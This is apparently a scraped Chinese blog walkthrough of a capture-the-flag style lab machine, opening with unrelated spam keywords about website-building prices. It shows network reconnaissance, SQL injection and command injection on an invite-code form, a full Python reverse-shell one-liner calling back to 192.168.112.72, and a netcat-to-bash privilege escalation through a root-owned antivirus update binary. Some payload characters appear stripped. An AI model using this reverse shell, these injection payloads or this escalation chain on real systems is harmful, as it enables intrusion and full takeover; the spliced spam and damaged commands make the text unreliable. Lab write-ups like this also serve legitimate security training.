企业建站多少钱一个月,建设银行行号查询网站,wordpress的搜索结果,东莞正规的企业网站设计多少钱目录 信息搜集
WEB漏洞攻击
拿shell 信息搜集
首先ifconfig查看自己IP#xff0c; netdiscover查看同网段下主机 第三个应该是目标靶机。用nmap查看靶机开放端口#xff1a; 开放22和8080#xff0c;看看8080开的啥服务
WEB漏洞攻击 看到让我们输入邀请码。有输入框的第…目录 信息搜集
WEB漏洞攻击
拿shell 信息搜集
首先ifconfig查看自己IP netdiscover查看同网段下主机 第三个应该是目标靶机。用nmap查看靶机开放端口 开放22和8080看看8080开的啥服务
WEB漏洞攻击 看到让我们输入邀请码。有输入框的第一个反应是RCE尝试几次后无果。后续测试SQL注入发现在输入时报错 Flask框架最后一段报错信息直接看到搜索逻辑源码
输入其它内容时全部回显
推断布尔盲注order by 尝试字段数
1 order by 1-- 正常
1 order by 2-- 报错
后续尝试
1 and left(version(),1)5 --
无果
直接万能密码开摆
1 or 11 --
emmmm进来了
还是看看能否RCE
输入111|ls 拿shell
出了弹个shell试试
cat | python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.112.72,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);
成了 看看文件权限 有一个ROOT文件下面有它的C文件读一下看看
发现程序定义了一个执行参数如果程序在执行中不包含参数则会打印出
This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam
如果执行程序使用了参数那么程序就会执行freshclam运行病毒库更新
可以试试提权
./update_cloudav 666 | nc 192.168.112.72 5555|/bin/bash|nc 192.168.112.72 6666 拿到ROOT权限
